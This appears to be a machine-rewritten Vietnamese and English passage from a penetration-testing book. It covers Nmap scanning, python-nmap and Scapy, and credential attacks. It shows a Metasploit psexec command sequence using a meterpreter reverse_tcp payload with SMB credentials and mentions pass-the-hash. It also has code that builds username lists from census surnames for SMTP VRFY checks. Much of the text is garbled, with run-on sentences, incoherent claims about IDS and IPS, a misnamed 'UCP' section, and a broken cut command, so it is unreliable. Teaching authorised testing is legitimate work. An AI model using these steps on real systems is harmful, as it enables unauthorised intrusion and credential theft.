Hiểu về phương pháp kiểm tra thâm nhập
Tổng quan về thử nghiệm thâm nhập
Có một quan niệm sai lầm phổ biến về thử nghiệm thâm nhập, ngay cả trong giới chuyên gia mới Nhiều người cho rằng thử nghiệm này chỉ nhằm chứng minh khả năng khai thác của các lỗ hổng hoặc sự hiện diện của chúng trong môi trường Hiểu lầm này có thể ảnh hưởng đến quá trình xác định phạm vi và thực hiện các cam kết bảo mật Ngoài ra, nhiều người cũng tin rằng thử nghiệm thâm nhập sẽ phát hiện tất cả các lỗ hổng mà không xem xét đến các biện pháp kiểm soát đã được áp dụng.
Kiểm tra khả năng thâm nhập là hoạt động đánh giá khả năng bảo vệ dữ liệu của tổ chức trước các mối đe dọa từ tác nhân độc hại Chiến lược bảo mật thông tin của tổ chức nhằm duy trì tính bảo mật, tính toàn vẹn và tính sẵn có của dữ liệu, kết hợp con người, quy trình và công nghệ để giảm thiểu rủi ro Sự khác biệt giữa các định nghĩa về thử nghiệm thâm nhập nằm ở việc một bên chỉ tập trung vào các lỗ hổng, trong khi bên còn lại xem xét cả các chính sách, quy trình và mối quan hệ không an toàn mà tổ chức có thể gặp phải Những thiếu sót này có thể gây ra tác động đáng kể đối với tổ chức và những người đánh giá mới.
Lãnh đạo tổ chức cần tránh đặt ra các mục tiêu có thể dẫn đến việc vi phạm kiểm soát truy cập đối với kho dữ liệu quan trọng và xác định vị trí dữ liệu nhạy cảm Đồng thời, cần xây dựng niềm tin vào hệ thống bảo vệ xâm nhập (IPS) để đảm bảo an toàn cho thông tin.
Hệ thống phát hiện xâm nhập (IDS) là yếu tố quan trọng trong việc ngăn chặn các mối đe dọa, nhưng nhiều đánh giá viên có kinh nghiệm nhận thấy rằng điều này không hoàn toàn chính xác Hơn nữa, các đánh giá có thể không được thực hiện theo cách mang lại kết quả thực tiễn Hệ quả nghiêm trọng nhất của sự nhầm lẫn này là tổ chức có thể không nhận ra khi nào người đánh giá thiếu những kỹ năng cần thiết để thực hiện các cam kết bắt buộc.
Hiểu rõ thử nghiệm thâm nhập
1.2.1 Đánh giá lỗ hổng bảo mật Đánh giá lỗ hổng bảo mật Vulnerability Assessments (VA) sử dụng VMS để quét các lỗ hổng Các VA tốt sau đó sử dụng một chuyên gia đánh giá để loại bỏ các kết quả dương tính giả, sau đó xếp hạng rủi ro thực tế của các phát hiện có thể được điều chỉnh trên cơ sở tác động kinh doanh và khả năng bị khai thác Thông thường các nhà tư vấn bảo mật hoặc người kiểm tra thâm nhập thực hiện các đánh giá này, có thể yêu cầu khai thác thực tế các lỗ hổng này để có bằng chứng về khái niệm Loại đánh giá này rất tốt để cho thấy một tổ chức thực hiện tốt việc vá lỗi và triển khai nội dung trong một cấu hình an toàn như thế nào Mấu chốt ở đây là những kiểu đánh giá này không tập trung vào việc đạt được quyền truy cập vào dữ liệu quan trọng từ quan điểm của một tác nhân độc hại, mà thay vào đó liên quan đến việc tìm kiếm các lỗ hổng.
Reverse hiện nay ít phổ biến hơn trong các thử nghiệm thâm nhập, thường chỉ được sử dụng để phát triển khai thác nhằm chứng minh khái niệm liên quan đến mã nguồn và truy cập vào hệ thống quan trọng Trong các cam kết đảo ngược quy mô lớn, người đánh giá tập trung vào việc xác định tính dễ bị tổn thương của ứng dụng và các điểm yếu trong mã nguồn, biên dịch và thư viện Những tương tác này thường phù hợp với kỹ sư đảo ngược, những người chuyên xác định các phương pháp tấn công để xâm phạm ứng dụng thay vì chỉ truy cập dữ liệu Kinh nghiệm trong lĩnh vực này rất đa dạng, với nhiều người đánh giá chuyển từ thử nghiệm thâm nhập sang kỹ năng đảo ngược toàn thời gian.
Hacking không chỉ là một cuộc đánh giá mà còn là việc khai thác các lỗ hổng có thể bị tấn công, có thể liên quan đến hoạt động độc hại hoặc nghiên cứu Mục tiêu của hacking không phải là truy cập vào dữ liệu quan trọng mà là để bẻ khóa các lỗ hổng Dù có nhiều định nghĩa về hacking, nó thường liên quan đến thử nghiệm thâm nhập mà không có mục tiêu cụ thể Hiện nay, đã xác định được những khác biệt lớn giữa kiểm tra thâm nhập và các hoạt động khác, từ đó làm nổi bật phương pháp luận liên quan đến việc đạt được mục tiêu.
Phương pháp đánh giá
There are various assessment methods related to penetration testing, including the Open Source Security Testing Methodology Manual (OSSTMM), the Open Web Application Security Project (OWASP) for web assessments, and the National Institute of Standards and Technology (NIST) Special Publication 800-115 guidelines.
Trong cuốn sách này, chúng tôi sẽ tập trung vào Kỹ thuật Kiểm tra An ninh Thông tin và Đánh giá, đặc biệt là phương pháp PTES PTES được xem là một nguồn lực vững chắc dành cho những người đánh giá mới, giúp họ nắm bắt các kỹ thuật và quy trình cần thiết trong lĩnh vực an ninh thông tin.
Xác định mục tiêu bằng Nmap, Scapy và Python
Hiểu rõ cách hệ thống giao tiếp
Khi một hệ thống tạo ra dữ liệu, dữ liệu được gửi qua ngăn xếp Transmission Control Protocol (TCP) / Internet Protocol (IP), giúp đóng gói dữ liệu để có thể truyền tải qua dây Mô hình Open Systems Interconnect (OSI) cung cấp cách thức thảo luận về việc xử lý dữ liệu, trong khi Mô hình TCP/IP thể hiện cách mà các hệ thống thực sự hoạt động.
Frame là phương thức truyền dữ liệu giữa các máy chủ, bao gồm các thành phần quan trọng và giao tiếp qua địa chỉ phần cứng Media Access Control (MAC) Frame có sự khác biệt giữa mạng không dây và mạng Ethernet Cuối frame thường có một tổng kiểm tra, thực hiện kiểm tra toán học để đảm bảo tính toàn vẹn của dữ liệu sau khi truyền.
Các frame trong mạng được sử dụng để giao tiếp trong các broadcast domain, đặc biệt là trước khi truyền qua bộ định tuyến Khi một bộ định tuyến được sử dụng, địa chỉ phần cứng của nó sẽ phục vụ cho broadcast domain tiếp theo Quá trình này lặp lại cho đến khi frame đến đích được xác định bằng địa chỉ IP Hiểu rõ điều này rất quan trọng, đặc biệt khi thực hiện các cuộc tấn công Man-in-the-Middle (MitM) bằng các công cụ như Responder hoặc Ettercap, vì những cuộc tấn công này diễn ra ở Layer 2 và yêu cầu phải nằm trong cùng một Broadcast Domain.
Tấn công không dây thường diễn ra trong phạm vi của mã định danh Service Set Identifier (SSID) hoặc tên mạng không dây cụ thể.
Hệ thống truyền thông trong mạng không dây có sự khác biệt tùy thuộc vào thiết kế, nhưng thường sử dụng các Điểm Truy Cập (Access Points - AP) được xác định qua mã định danh nhóm dịch vụ cơ bản (BSSID), là tên gọi cho địa chỉ MAC của AP.
Khi kết nối và xác thực vào mạng qua AP, người dùng trở thành một phần của Basic Service Set (BSS) hoặc mạng doanh nghiệp, nhưng chỉ hoạt động trong phạm vi của AP đó.
Khi chuyển sang mạng không dây và kết hợp với một AP mới để cải thiện tín hiệu, người dùng sẽ trở thành một phần của BSS mới Tất cả các BSS đều thuộc về bộ dịch vụ doanh nghiệp (ESS) Đặc biệt, nếu mạng không dây có nhiều hơn một AP, nó sẽ được gọi là ESS Để giao tiếp hiệu quả với các kỹ sư không dây, cần lưu ý rằng trong mạng không dây doanh nghiệp, SSID thực sự được gọi là SSID doanh nghiệp (ESSID).
Tiêu đề IP chứa thông tin quan trọng cho việc giao tiếp qua mạng thông qua địa chỉ IP, giúp thông tin liên lạc vượt qua các miền phát sóng Dưới đây là một sơ đồ mẫu cho tiêu đề của header IPv4.
IPv4 đang dần cạn kiệt và IPv6 đã ra đời như một giải pháp thay thế Lược đồ địa chỉ IPv6 cung cấp một số lượng lớn địa chỉ máy chủ mới, tuy nhiên, khi so sánh với IPv4, IPv6 cũng tồn tại nhiều lỗ hổng bảo mật đáng kể.
Nhiều tổ chức thường quên rằng IPv6 được hỗ trợ và bật mặc định khi áp dụng các khái niệm bảo mật cho mạng của họ Điều này dẫn đến việc họ chỉ sử dụng địa chỉ IPv4 trong cấu hình các cơ chế bảo vệ Nếu IPv6 vẫn hoạt động mà các thiết bị bảo mật không nhận diện được các loại địa chỉ khác nhau trong mạng, các cuộc tấn công có thể diễn ra mà không bị phát hiện.
Sơ đồ sau đây cho thấy một ví dụ về cấu trúc gói IPv6:
Header của gói TCP lớn hơn nhiều so với header của gói UDP, vì nó cần phải xử lý trình tự, cờ và cơ chế điều khiển Cụ thể, gói TCP được thiết kế để thiết lập và chia nhỏ phiên thông qua nhiều AC khác nhau Các cờ trong gói TCP có thể được điều khiển để nhận phản hồi từ hệ thống mục tiêu theo ý muốn của kẻ tấn công.
Hình sau cho thấy một TCP header:
2.1.4 Hiểu rõ cách TCP hoạt động
Bắt tay ba bước TCP
Bắt tay TCP, hay còn gọi là bắt tay ba bước, là quá trình thiết lập kết nối giữa hai hệ thống thông qua ba thông điệp: SYN, SYN-ACK và ACK Hệ thống khởi tạo kết nối bắt đầu bằng cách gửi một gói tin có cờ SYN Sau đó, hệ thống đáp ứng sẽ gửi gói tin có cả cờ SYN và ACK Cuối cùng, hệ thống khởi tạo gửi lại gói tin với cờ ACK để hoàn tất kết nối Trong các hệ thống cũ hơn, nếu không thể kết nối, có thể xảy ra những hậu quả không lường trước được Tuy nhiên, hiện nay, phần lớn các hệ thống có khả năng tự động thiết lập lại (RST) hoặc đóng kết nối khi gặp sự cố.
TCP là giao thức hướng kết nối, trong khi UDP là giao thức hướng không kết nối và đơn giản hơn Header của các gói UDP có cấu trúc đơn giản hơn nhiều so với TCP, nhờ vào chi phí thấp hơn trong việc duy trì một socket cho UDP.
2.1.6 Hiểu rõ cách UCP hoạt động
UDP thiết lập một luồng giao tiếp qua một cổng lắng nghe, cho phép dữ liệu được chấp nhận và xử lý trên ngăn xếp TCP/IP khi cần thiết Trong khi TCP đảm bảo giao tiếp đồng bộ và đáng tin cậy, UDP lại không yêu cầu những yếu tố đó.
Hiểu rõ về công cụ Nmap
Nmap là một công cụ phổ biến trong hầu hết các bộ công cụ đánh giá và khai thác, đóng vai trò quan trọng trong nhiều hình thức đánh giá bảo mật Mặc dù có nhiều công cụ khác như AngryIP, HPing, FPing, và NetScan, nhưng Nmap vẫn nổi bật nhờ vào khả năng của nó Trong số các công cụ này, HPing và Unicorn Scan là hai công cụ khác biệt đáng kể, mặc dù không thể so sánh hoàn toàn với Nmap về tính năng và hiệu quả.
Sai lầm phổ biến của những người mới sử dụng nmap là thực hiện nhiều lần quét đồng thời từ cùng một máy chủ Nmap dựa vào ngăn xếp TCP/IP của hệ điều hành, nên việc quét thêm không giúp tăng tốc độ kết quả Thay vào đó, các phiên quét phải được xử lý cùng lúc, dẫn đến việc làm chậm kết quả và gia tăng lỗi, vì mỗi gói dữ liệu nhận được có thể ảnh hưởng đến kết quả tùy thuộc vào thứ tự mà nó được tiếp nhận.
Mỗi gói bị thiếu có thể được gửi lại, dẫn đến việc quá trình quét bị chậm lại Điều này không chỉ do số lượng gói gửi lại mà còn do kết quả không nhất quán và hạn chế của ngăn xếp TCP/IP Do đó, chỉ có thể thực hiện một phiên bản quét nmap trên mỗi máy chủ.
Bên cạnh việc khắc phục các hạn chế của ngăn xếp TCP/IP, việc thao tác các gói chi tiết thông qua nmap cũng gặp khó khăn HPing cho phép tạo các gói tùy chỉnh một cách dễ dàng để phục vụ mục đích cụ thể, nhưng chỉ hiệu quả khi kiểm tra một máy chủ đơn lẻ Đối với việc ping nhiều máy chủ với khả năng tùy chỉnh, FPing là lựa chọn tối ưu, vì kết quả từ FPing có thể dễ dàng phân tích để tạo ra thông tin hữu ích Nmap vẫn là một công cụ mạnh mẽ, nhưng không thể thay thế cho một người đánh giá có kinh nghiệm; mỗi công cụ đều có vai trò riêng, vì vậy cần nhận thức rõ những hạn chế của chúng và sử dụng bổ sung khi cần thiết.
2.2.1 Phạm vi mục tiêu của Nmap
Nmap cho phép đầu vào mục tiêu thông qua Standard Input (STDIN), có thể thực hiện qua giao diện dòng lệnh (CLI) hoặc tệp Đối với CLI, người dùng có thể nhập nhiều địa chỉ IP và ký hiệu CIDR Khi sử dụng tệp, địa chỉ IP có thể được nhập theo ký hiệu CIDR, địa chỉ IP, dải ô, hoặc danh sách IP phân tách bằng dòng mới Để truyền dữ liệu qua CLI, người dùng chỉ cần thêm đoạn dữ liệu ở cuối lệnh.
nmap -sS -vvv -p 80 192.168.254.0/24 Đối với phương thức nhập tệp, chỉ cần thêm tùy chọn -iL theo sau là tên tệp:
nmap -sS -vvv -p 80 -iL nmap_subnet_file
Bốn cách quét mà bạn chủ yếu sử dụng là:
Quét kết nối TCP (còn được gọi là quét toàn kết nối)
Quét SYN (còn được gọi là quét nửa mở hoặc ẩn)
2.2.3 Thực hiện quét UDP và TCP kết hợp Để tiết kiệm thời gian, có thể kết hợp quét bằng cách nhắm mục tiêu các cổng cho cả hai loại quét Tuy nhiên, nếu sử dụng nhiều cổng trong quá trình quét này, sẽ mất nhiều thời gian để hoàn thành Vì vậy, điều này rất tốt để nhắm mục tiêu các cổng hàng đầu mà bạn có thể sử dụng để xác định các tài nguyên dễ bị tổn thương có khả năng bị xâm phạm cao nhất, chẳng hạn như sau:
Service types Common port number
Databases 1434 UDP SQL Server Browser Service
2049 TCP Network File Service (NFS)
111 TCP Sun Remote Procedure Call
Remote file services 445 TCP Server Message Block
21 TCP File Transfer Protocol (FTP)
Remote administrative 6000-6005 TCP x11 interface 5900 TCP Virtual Network Connector
25 TCP Send Mail Transfer Protocol
Interface and system/user enumeration services
JBoss Management Page, System Admin Panel
To conduct a combined scan using the 500 UDP Internet Security Association and Key Management Protocol (ISAKMP), simply flag the two types of scans you wish to utilize and specify the ports to be scanned, separated by commas for each protocol This can be achieved by using the -p option, followed by U for UDP ports and T for TCP ports.
Ví dụ: nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.254.0/24
2.2.4 Bỏ qua quá trình quét hệ điều hành
Nhiều chuyên gia dày dạn kinh nghiệm không sử dụng phương pháp quét này vì nó cung cấp ít giá trị trong thời điểm hiện tại Việc xác định các chi tiết từ quá trình quét có thể được thực hiện nhanh chóng và dễ dàng hơn Thay vào đó, nên tìm hiểu các cổng, nhãn dịch vụ và phiên bản của từng hệ điều hành, vì chúng sẽ giúp xác định hệ điều hành và phiên bản một cách hiệu quả hơn Nếu một hệ thống không thể được xác định qua phương pháp này, thì khả năng nmap cũng không thể làm được điều đó, tùy thuộc vào trình độ kỹ năng của người sử dụng.
2.2.5 Các loại đầu ra khác nhau
Đầu ra Grepable không phải là phương pháp tối ưu để lấy dữ liệu, mặc dù nó cung cấp cách dễ dàng để trích xuất các thành phần và xây dựng danh sách nhanh chóng Để phân tích cú pháp chính xác với grep, sed và awk, cần phải chèn ký tự để chỉ định vị trí dữ liệu sẽ được trích xuất Đầu ra Grepable có thể được thực hiện bằng cách sử dụng cờ -oG Sau khi có tệp Grepable, cách hiệu quả nhất để phân tích dữ liệu là nhập vào các thành phần cụ thể, thường là các cổng mở liên quan đến dịch vụ Bạn có thể trích xuất các chi tiết này bằng lệnh như sau: cat nmap_scan.gnmap | grep 445/open/tcp | cut -d"" -f2.
/root/Desktop/smb_hosts_list
Một ví dụ minh họa cho việc đẩy một tệp Grepable đến STDOUT và chuyển đổi thành tệp Grep để tìm kiếm cổng 445 đang mở Quá trình này có thể thực hiện dễ dàng bằng cách sử dụng grep và cắt, giúp người dùng dễ đọc và hiểu Khi các cổng được phát hiện, địa chỉ sẽ được cắt và trích xuất.
IP được lưu trữ trong một tệp phẳng mang tên smb_hosts_lists Khi kiểm tra tệp nmap_scan.gnmap, bạn sẽ tìm thấy các dòng chứa thông tin chi tiết liên quan.
Host: 192.168.195.112 () Ports: 445/open/tcp/ Để chạy bảng điều khiển Metasploit, hãy thực hiện lệnh này: msfconsole
Nếu đang chạy Metasploit Professional từ dòng lệnh, hãy sử dụng cách sau: msfpro
Trong ví dụ này, chúng ta sẽ kiểm tra xem mật khẩu có bị bẻ khóa hay không, bằng cách sử dụng lệnh sau trên máy chủ không hoạt động trong mạng: `use exploit/windows/smb/psexec`, sau đó thiết lập các thông số như `set SMBUser administrator`, `set SMBPass test`, `set SMBDomain Workgroup`, và `set payload windows/meterpreter/reverse_tcp` Cuối cùng, chúng ta chỉ định địa chỉ máy chủ với `set RHOST 192.168.195.112` và cổng với `set LPORT 443`, rồi thực hiện lệnh `exploit -j` để tiến hành khai thác.
Lệnh set payload sẽ được thực hiện trên máy chủ, với reverse_tcp quay trở lại hộp tấn công để thiết lập sự liên quan Nếu là một ràng buộc, hộp tấn công sẽ kết nối trực tiếp với cổng lắng nghe sau khi thực hiện RHOST và LPORT biểu thị máy chủ đích và cổng trên hộp tấn công để lắng nghe Khai thác -j sẽ chạy khai thác và làm nền cho kết quả, cho phép người dùng tập trung vào các tác vụ khác và quay lại phiên khi cần thiết với session -i Lưu ý rằng không cần thông tin đăng nhập đã bẻ khóa để thực thi smb_login hay psexec; chỉ cần sử dụng PtH.
XML xây dựng cấu trúc dữ liệu thông qua các thành phần con và mẹ, giúp gán nhãn cho các tập dữ liệu một cách rõ ràng Điều này tạo điều kiện thuận lợi cho việc phân tích cú pháp dữ liệu nhờ vào các nút có nhãn cụ thể, cho phép theo dõi các mối quan hệ cha mẹ và con cái Đặc biệt, đầu ra XML có thể được nhập vào các công cụ khác như Metasploit, và việc xuất ra chỉ với định dạng XML rất đơn giản bằng cách sử dụng tùy chọn -oX.
Nmap Scripting Engine (NSE) là 1 trong những tùy chọn khá lợi hại trong Nmap.
Nó cho phép người dùng viết và chia sẻ các script đơn giản nhằm tự động hóa các công việc trong lĩnh vực networking Những script này có thể được sử dụng để phát hiện và khai thác các lỗ hổng bảo mật.
2.2.7 Hiệu quả với tính năng quét Nmap
Thư viện Nmap cho Python
Python cung cấp các thư viện cho phép thực hiện quét nmap trực tiếp, bao gồm thư viện nmap để quét cổng dịch vụ Secure Shell (SSH) trên phiên bản Kali cục bộ Để bắt đầu, hãy đảm bảo dịch vụ SSH đã được khởi động bằng lệnh /etc/init.d/ssh Tiếp theo, cài đặt thư viện python-nmap thông qua pip Sau khi cài đặt, bạn có thể nhập thư viện và khởi tạo nmap.PortScanner() vào một biến để thực hiện quét Cuối cùng, hãy thử quét cổng 22 trong trình thông dịch Python tương tác.
Để xây dựng một kho từ điển có thể truy cập khi cần, bạn có thể tạo một tập lệnh chấp nhận các đối số CLI để quét máy chủ và cổng Cần nhập hệ thống thư viện và thư viện nmap để thực hiện quét Hãy nhớ sử dụng các trình xử lý có điều kiện khi nhập các thư viện không phải Python, điều này giúp việc bảo trì công cụ trở nên dễ dàng và chuyên nghiệp hơn Ví dụ: sử dụng mã sau: ```pythonimport sys try: import nmap print("done") except: sys.exit("[!] Install the nmap library: pip install python-nmap")```
Khi các thư viện đã được nhập, tập lệnh yêu cầu ít nhất hai đối số để hoạt động thành công Nếu số lượng đối số ít hơn hoặc nhiều hơn hai, tập lệnh sẽ không chạy và hiển thị thông báo trợ giúp Cần lưu ý rằng tên tập lệnh được tính là đối số đầu tiên, do đó, tổng số đối số cần thiết là ba.
The Argument Validator script checks for the correct number of command-line arguments, requiring exactly two: the first for targets and the second for ports If the user does not provide the necessary arguments, the script exits with a message prompting them to supply both values The ports are stored as a string from the second argument, while the targets are stored from the first argument.
Running the nmap_scanner.py script without any arguments will result in an error, as shown in the accompanying screenshot This script serves as a foundational element for developing a practical application It includes a small component that initializes the nmap.PortScanner class, allowing you to input an IP address and port for scanning The code snippet provided demonstrates how to scan the IP '192.168.254.183' on port '22' and iterates through all detected hosts If a hostname is not found for a host, it will print the host's IP address along with a message indicating the absence of a hostname; otherwise, it will display the IP address along with the corresponding hostname.
Kiểm tra cho thấy hệ thống ảo giao diện đã thử nghiệm với định danh localhost và địa chỉ IP Khi quét bằng localhost, bạn sẽ nhận được tên máy chủ, trong khi quét địa chỉ IP mà không truy vấn dịch vụ tên sẽ không xác định được tên máy chủ Dưới đây là ảnh chụp màn hình hiển thị đầu ra của tập lệnh này.
Thư viện Scapy cho Python
Chào mừng đến với Scapy, thư viện Python mạnh mẽ để thao tác và phân tích gói tin Mặc dù Scapy có nhiều ứng dụng, nhưng việc sử dụng nó có thể phức tạp Để tạo các tập lệnh dễ dàng hơn, bạn cần hiểu các quy tắc cơ bản về Scapy, bao gồm cờ TCP và cách chúng được biểu diễn Khi Scapy nhận phản hồi từ gói đã gửi, các cờ sẽ được thể hiện bằng các bit nhị phân trong bát phân thứ 13 của TCP Do đó, việc đọc phản hồi dựa trên thông tin này là rất quan trọng Hãy tham khảo bảng giá trị vị trí nhị phân của từng cờ để nắm rõ hơn về cách hoạt động của chúng.
Khi phân tích phản hồi từ các gói TCP và tìm kiếm cờ, cần thực hiện một số phép toán Bảng tham chiếu sẽ giúp đơn giản hóa quá trình này, nhưng cần lưu ý rằng tài liệu truyền tải là giống nhau Ví dụ, gói SYN có giá trị octet thứ 13 là 2, trong khi gói SYN + ACK có giá trị 18 Chỉ cần cộng các giá trị cờ lại để xác định loại gói cần tìm Ngoài ra, khi ping giao diện loopback hoặc localhost, gói tin sẽ không được thu thập do hạt nhân chặn yêu cầu và xử lý nội bộ qua ngăn xếp TCP/IP Đây là một trong những lý do khiến nhiều người gặp khó khăn với Scapy và thường bỏ cuộc Thay vì cố gắng sửa chữa các gói tin để tấn công phiên bản Kali, hãy tạo ra Metasploitable hoặc thử kiểm tra cổng mặc định.
3 Executing Credential Attacks with Python
3.1 The types of credential attacks
3.1.1 Defining the online credential attack
Cuộc tấn công thông tin xác thực trực tuyến nhằm vào việc truy cập các giao diện hoặc tài nguyên mà không cần biết tên người dùng, mật khẩu, hoặc cả hai Những cuộc tấn công này cố gắng xác định thông tin chính xác để có quyền truy cập vào tài nguyên mà không có quyền truy cập vào dữ liệu bảo mật như hàm băm hay mật khẩu văn bản rõ ràng Các phương pháp tấn công trực tuyến phổ biến bao gồm dictionary, brute force và mật khẩu spray Tài nguyên mục tiêu có thể là một phần của hệ thống liên kết như Active Directory (AD) hoặc tài khoản cục bộ trên máy chủ.
3.1.2 Defining the offline credential attack
Tấn công thông tin xác thực ngoại tuyến xảy ra khi kẻ tấn công đã bẻ khóa tài nguyên và trích xuất dữ liệu như các băm, sau đó cố gắng đoán chúng Các phương pháp tấn công này có thể bao gồm sử dụng từ điển ngoại tuyến, các cuộc tấn công dựa trên quy tắc, brute force hoặc bảng rainbow Thuật ngữ "ngoại tuyến" được sử dụng vì cuộc tấn công nhằm đoán phiên bản văn bản rõ ràng của mật khẩu trên một hệ thống mà không có quyền truy cập trực tiếp vào nó.
Metasploitable là một ví dụ điển hình cho phép kiểm tra các khái niệm an ninh mạng trong môi trường an toàn và hợp pháp Để bắt đầu, người dùng có thể thực hiện một quét nmap đơn giản trên hệ thống để phát hiện dịch vụ Lệnh nmap -sS -vvv -Pn -sV sẽ giúp tìm kiếm các cổng nổi bật trên hệ thống một cách hiệu quả.
Kết quả cho thấy máy chủ được xác định là Metasploitable, với một số cổng mở, trong đó có giao thức Chuyển phát Thư đơn giản (SMTP) hoạt động trên cổng 25.
3.3.1 Generating and verifying usernames with help from the U.S census
Khi xem xét các thành phần của tên người dùng trong các tổ chức, chúng thường bao gồm chữ cái đầu tiên của họ và tên Bằng cách kết hợp hai thành phần này, ta có thể tạo ra một tên người dùng Sử dụng danh sách 1000 họ hàng đầu từ U.S Census, có thể tạo ra nhiều tên người dùng bằng cách thêm từng chữ cái trong bảng chữ cái vào mỗi họ, từ đó tạo ra 26 tên người dùng cho mỗi họ Quá trình này sẽ dẫn đến việc tạo ra tổng cộng 26.000 tên người dùng mà không tiết lộ thông tin có nguồn gốc công khai.
Khi kết hợp danh sách tên người dùng từ mạng xã hội với các công cụ xác định địa chỉ email, bạn có thể tạo ra một danh sách phong phú và đáng kể.
Để thực hiện việc trích xuất chi tiết từ bảng tính Excel bằng Python, trước tiên cần cắt giảm dữ liệu Sau đó, xác minh tên người dùng được tạo ra và kết hợp với danh sách thông qua dịch vụ SMTP sử dụng lệnh VRFY.
Bước đầu tiên của quá trình này là tải xuống bảng tính excel, có thể được tìm thấy tại đây http://www.census.gov/topics/population/genealogy/data/2000_surnames.html.
Có thể tải xuống tệp bằng cách sử dụng wget như sau. wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls
Bây giờ, hãy mở tệp Excel và xem nó được định dạng như thế nào để chúng ta biết cách để lấy các chi tiết ra.
Bài viết đề cập đến 11 cột xác định các tính năng trong bảng tính, trong đó hai cột quan trọng nhất là "name" (tên) và "rank" (thứ hạng) Tên sẽ được sử dụng để tạo danh sách người dùng, trong khi thứ hạng thể hiện thứ tự xuất hiện tại Hoa Kỳ Trước khi tiến hành xây dựng chức năng phân tích cú pháp tệp điều tra dân số, cần phát triển một phương tiện để nhập dữ liệu vào tập lệnh.
Thư viện argparser giúp phát triển tùy chọn và đối số dòng lệnh nhanh chóng và hiệu quả Để phân tích bảng tính Excel, chúng ta sử dụng thư viện xlrd, trong khi thư viện string hỗ trợ phát triển danh sách ký tự theo bảng chữ cái Thư viện OS xác định hệ điều hành mà tập lệnh đang chạy, giúp xử lý định dạng tên tệp một cách nội bộ Cuối cùng, thư viện collections cung cấp phương tiện sắp xếp dữ liệu từ bảng tính Excel Thư viện xlrd, không có sẵn trong phiên bản Python mặc định, có thể được cài đặt dễ dàng bằng lệnh pip: pip install xlrd.
Trong bài viết này, chúng ta sẽ khám phá cách sử dụng tuple được đặt tên để xử lý từng hàng của bảng tính Tuple được đặt tên cho phép tham khảo chi tiết theo tọa độ hoặc tên trường, tùy thuộc vào cách định nghĩa của nó Điều này rất lý tưởng cho việc làm việc với bảng tính hoặc dữ liệu cơ sở dữ liệu Hàm `def census_parser(filename, verbose):` sẽ được sử dụng để thực hiện điều này.
CensusTuple = namedtuple('Census', 'name, rank, count, prop100k, cum_prop100k, pctwhite, pctblack, pctapi, pctaian, pct2prace, pcthispanic')
Bây giờ, hãy giữ cửa sổ làm việc, bảng tính theo tên và tổng hàng và hàng đầu tiên của bảng tính. worksheet_name = "top1000"
#Define work book and work sheet variables workbook = xlrd.open_workbook(filename) spreadsheet = workbook.sheet_by_name(worksheet_name) total_rows = spreadsheet.nrows - 1 current_row = -1
Sau đó, phát triển các biến ban đầu để giữ các giá trị kết quả và bảng chữ cái thực tế.
# Define holder for details username_dict = {} surname_dict = {} alphabet = list(string.ascii_lowercase)
The spreadsheet rows are processed iteratively, with `surname_dict` storing raw data and `username_dict` maintaining converted usernames and ranks If a rank value is not detected, it indicates a non-numeric entry, necessitating the row's exclusion from data processing The loop continues until all rows are evaluated, converting each valid entry into a `CensusTuple` Headers are eliminated when necessary, and usernames are generated by combining letters from the alphabet with the lowercase version of the cell name, while ranks are stored as strings in `username_dict`.
Từ điển lưu trữ các giá trị theo khóa mà không có thứ tự, vì vậy chúng ta có thể lấy các giá trị từ từ điển và sắp xếp chúng theo khóa Để thực hiện điều này, chúng ta sẽ tạo một danh sách chấp nhận các chi tiết được sắp xếp bởi một hàm Hàm này có thể là một hàm không tên sử dụng lambda, với khóa tham số sắp xếp tùy chọn Quá trình sắp xếp sẽ tạo ra một danh sách có thứ tự dựa trên khóa từ điển cho mỗi giá trị Cuối cùng, hàm này trả về danh sách username_list cùng với cả hai từ điển nếu cần thiết trong tương lai: username_list = sorted(username_dict, key=lambda key: username_dict[key]) return(surname_dict, username_dict, username_list).